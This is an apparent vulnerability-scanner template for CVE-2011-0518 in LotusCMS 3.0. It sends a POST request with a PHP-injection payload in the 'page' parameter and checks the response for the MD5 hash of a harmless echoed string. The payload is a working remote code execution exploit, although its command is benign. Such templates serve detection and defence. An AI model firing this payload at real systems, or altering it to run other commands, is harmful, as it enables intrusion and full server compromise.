id: CVE-2011-0518

info:
  name: LotusCMS 3.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    LotusCMS 3.0 is susceptible to remote code execution via the Router () function. This is done by embedding PHP code in the 'page' parameter, which will be passed to a eval call and allow remote code execution.
  impact: |
    Remote attackers can include and execute arbitrary local files, potentially leading to remote code execution or full system compromise.
  remediation: |
    Enable magic_quotes_gpc or sanitize 'system' parameter, and update to the latest version of LotusCMS Fraise.
  reference:
    - https://github.com/Hood3dRob1n/LotusCMS-Exploit
    - https://nvd.nist.gov/vuln/detail/CVE-2011-0518
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2011-0518
    epss-score: 0.6938
    epss-percentile: 0.98667
    cwe-id: CWE-77
  metadata:
    max-request: 2
    verified: true
  tags: cve,cve2011,lotuscms,rce,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php"
      - "{{BaseURL}}/lcms/index.php"

    headers:
      Content-Type: application/x-www-form-urlencoded

    body: |
      page=index');${system('echo lotuscms_rce | md5sum')};#

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "38ee63071a04dc5e04ed22624c38e648"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d3b8b29013318d302efae2438036a91c325e97c4c8dae0560d241686eeb7d495022079826f0601155f3b7107754f94665597706068471a2240a37a473bfad9499a0a:922c64590222798bb761d5b6d8e72950